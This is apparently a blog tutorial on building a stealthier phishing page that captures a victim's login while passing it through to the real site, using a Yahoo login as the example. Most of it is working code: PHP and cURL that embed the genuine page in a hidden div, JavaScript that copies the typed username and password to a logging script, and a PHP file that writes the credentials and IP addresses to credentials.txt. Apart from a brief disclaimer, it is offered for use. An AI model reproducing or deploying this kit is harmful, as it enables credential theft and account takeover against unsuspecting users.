Phishing: The Refined Way

DISCLAIMER: All content provided hereby is solely for informative purposes. Please do not misuse it. I’m not responsible for any damage caused by the misuse of the information.

In his book “Phishing Exposed” Lance James says that there’s no static definition for the word “Phishing” since the technique itself is constantly evolving. Further he states that phishing is a variant of the word fishing in a sense that the attacker sets out “hooks” hoping that he will get a few “bites” from his victims.

Be it Fishing, or Phishing, they are all the same: catch the fish, ignorant about the authenticity of the bait given to it. The fish (read victim) doesn’t have any way to ensure the authenticity of the bait, until and unless it uses its intelligence. A blend of lack of awareness and visual deception, both on the part of victim, is just the right recipe for a perfect phish.

Since these pages exploit the human element of security there’s really no strong defense against them except awareness to indicators. And hence, depending on the level of internet experience of the victim the approaches to phishing vary.

Lately while I was trying to create a phishing page, I came across a number of articles on the internet. The commonest approach followed was to send the user a spoofed link, let him login the phished page, record his credentials and redirect him to the legitimate login page. This whole process makes the victim login “twice” in order to access his/her account. I stress on twice because this process of logging in twice can raise suspicion in the mind of the victim. So, I thought of making a phish page which doesn’t make the users enter their credentials twice. As soon as the victim tries to login through the fake page his login information is logged on by the hacker and at the same time a request is sent to the legitimate login page which processes the request and logs in the victim to the real account.

Now the first (and of course the most intuitive) thing I could think to accomplish this was through iframe. I see the readers out there already getting my point! Okay, but to my dismay many login pages don’t support iframes. By not supporting I mean that the login page is coded to be in the top location of the window in the DOM. And as soon as it detects it’s not, it redirects to some legitimate page within the site.

Help finally came in the form of AJAX and cURL. For those who have already got the hint can leave reading here and start phishing! And those who haven’t yet, read on:

In this method the retrieved passwords are logged in a text file at the server. It is to be noted that they can also be sent through mail or written to a database on the server.  Further I assume that the reader has some prior knowledge of phishing.

  1. Create a file as “yoursite.php” (or any other name you wish, but of course with the correct file extension). This is the same file as the original login page file i.e. a saved copy of the entire HTML page which you want to replicate. Name it something which resembles the genuine login page as we would be sending the URL of this fake page to the victim. Be careful of the file extension. It should NOT be html because we need to insert server side code into it.
  2. Once the replica is ready we now need to load the genuine page somewhere in this page in order to pass the request to the legitimate server as well. So, what we do is make an invisible div and load the genuine login page into it.

    <div style=”display:none;”>                     //making an invisible div element

    <?php

    $url = “enter the correct URL here”;    //e.g. mail.xyz.com

    $page = file_get_contents($url);

    echo “<HR>”;

    echo $page;

    ?>

    </div>

    The file_get_contents() works for paid hosts but not for free hosting. Guess they fear Remote File Inclusion. 😉

    So, you can alternately use cURL to achieve the same effect:

    <div style=”display:none;”>

    <?php

    function curl_get_file_contents($URL)

    {

    $c = curl_init();

    curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);

    curl_setopt($c, CURLOPT_URL, $URL);

    $contents = curl_exec($c);

    curl_close($c);

    if ($contents) return $contents;

    else return FALSE;

    }

    $url = “enter the correct URL here “;    //e.g. mail.xyz.com

    $page = curl_get_file_contents($url);

    echo “<HR>”;

    echo $page;

    ?>

    </div>

  3. Next we do a bit of AJAX to make a synchronous request. Add a piece of code in the fake page:
  4. <script language=”JavaScript”>

    function GetXmlHttpObject(){

    var xmlHttp=null;

    try{

    // Firefox, Opera 8.0+, Safari

    xmlHttp=new XMLHttpRequest();

    }

    catch (e){

    // Internet Explorer

    try{

    xmlHttp=new ActiveXObject(“Msxml2.XMLHTTP”);

    }

    catch (e){

    xmlHttp=new ActiveXObject(“Microsoft.XMLHTTP”);

    }

    }

    return xmlHttp;

    }

    Now pass the values entered by the user in the fake page, to the genuine page which is hidden in the invisible div element. Note that the values to the left are the original DOM elements as used in the genuine page. In the right we’ve variables used in the fake page. Be careful about matching them to the exact variables used in whichever page you are faking.

    For example: username is the variable being used in the genuine page and username1 is the variable I used in the “yoursite.php” page. Though you can keep both the same, I’ve used separate names in order to distinguish between the two.

    function flashCacheReady (initialized){             //invoked directly by Flash

    }

    function send_value(){

    document.getElementById(“username”).value = document.getElementById(“username1”).value;

    document.getElementById(“passwd”).value = document.getElementById(“passwd1”).value;

    url = “set.php?username=” + document.getElementById(“username”).value + “&passwd=” + document.getElementById(“passwd”).value;

    url = url + “&sid=” + Math.random();

    xmlHttp=GetXmlHttpObject();

    xmlHttp.onreadystatechange=function(){

    // Just a dummy callback function. Callback not required as we are using  SYNCHRONOUS request (see false in open method below)

    }// end of onreadystatechange function

    // SYNCHRONOUS CALL used to ensure we submit the actual form only after we make sure we have credentials

    xmlHttp.open(“GET”,url,false);

    xmlHttp.send(null);

    document.forms[1].submit();                   //Submit the legitimate page

    return false;

    }

    set.php is the file I’ve made to record the credentials on the server. The contents of this file are mentioned in step 3. You can rename it, again being careful of the extension. If the genuine server uses nonces or random values, you can make use of the random() function, else scrap it.

    The above code works to submit the credentials entered by the user in the fake page to the legitimate yahoo page loaded in the invisible div. At the same time, it sends values to set.php which are used in creating a text log of the login credentials.

    3. We now make the second file used to write the credentials to a text file on the server.

    $filename = ‘credentials.txt’;

    $username = $_GET[“username”];

    $password = $_GET[“passwd”];

    $ip=$_SERVER[“REMOTE_ADDR”];

    $date = date(“m/d/y G.i:s”, time());

    $fp = fopen(“$filename”, “a”);

    $message .= “Name: “.$username.”\n\n”;

    $message.= “Pass: “.$password.”\n\n”;

    $message .= “IP:   “.$ip.”\n\n”;

    $message .= “Date: “.$date.”\n\n”;

    $write = fwrite($fp, $message);

    fclose($fp);

So that’s it. Don’t forget to make a text file on the server with the name credentials.txt and assign read/write privileges to it. I’m not including the full source code lest it might be used by script kiddies. Special thanks to Shivam Patel & Abhijit Seam for helping me on this. Happy *ishing! 🙂



Advertisements